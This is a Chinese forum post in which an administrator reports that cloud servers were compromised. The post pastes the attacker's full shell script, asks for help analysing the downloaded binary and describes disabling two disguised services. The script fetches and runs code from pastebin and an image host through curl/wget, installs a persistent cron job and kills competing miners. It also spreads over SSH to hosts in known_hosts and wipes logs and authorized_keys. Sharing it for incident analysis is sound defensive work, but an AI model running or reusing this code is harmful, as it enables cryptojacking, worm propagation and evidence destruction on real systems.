心累，服务器被黑了，有大佬帮忙分析下么

昨天几台机器被阿里云告知机器对外攻击，封禁了某些端口，登陆服务器后发现，服务器的 crontab 被人写了一个定时脚本，每 15 分钟到外网下载一个脚本然后执行。该 crontab 无法删除，删除又瞬间恢复 脚本内容如下

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab - ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9 ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9 chattr -i /etc/cron.d/root chattr -i /etc/cron.d/system chattr -i /etc/ld.so.preload chattr -i /etc/cron.d/apache chattr -i /var/spool/cron/root chattr -i /var/spool/cron/crontabs/root chattr -i /usr/local/bin/dns rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns chkconfig --del kworker chkconfig --del netdns p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l) if [ ${p} -eq 0 ];then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi if [ -e "/tmp/gates.lod" ]; then rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe) kill -9 $(cat /tmp/gates.lod) rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe) kill -9 $(cat /tmp/moni.lod) rm -rf /tmp/{gates,moni}.lod fi if [ ! -f "/tmp/.lsdpid" ]; then ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs else (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs fi nohup /tmp/watchdogs >/dev/null 2>&1 & elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs else (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs fi nohup /tmp/watchdogs >/dev/null 2>&1 & fi if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oCOnnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done fi echo 0>/root/.ssh/authorized_keys echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron # 

自己追踪了一下，发现主要是下载一个二进制文件，然后伪装成 2 个服务 /etc/init.d/watchdogs 和 /etc/init.d/ilogtail， 目前自己测试只要关闭这 2 个服务就可以正常删除 crontab 的内容， 其余这个二进制文件还会做什么事，就分析不出来了，v 友能给一些思路么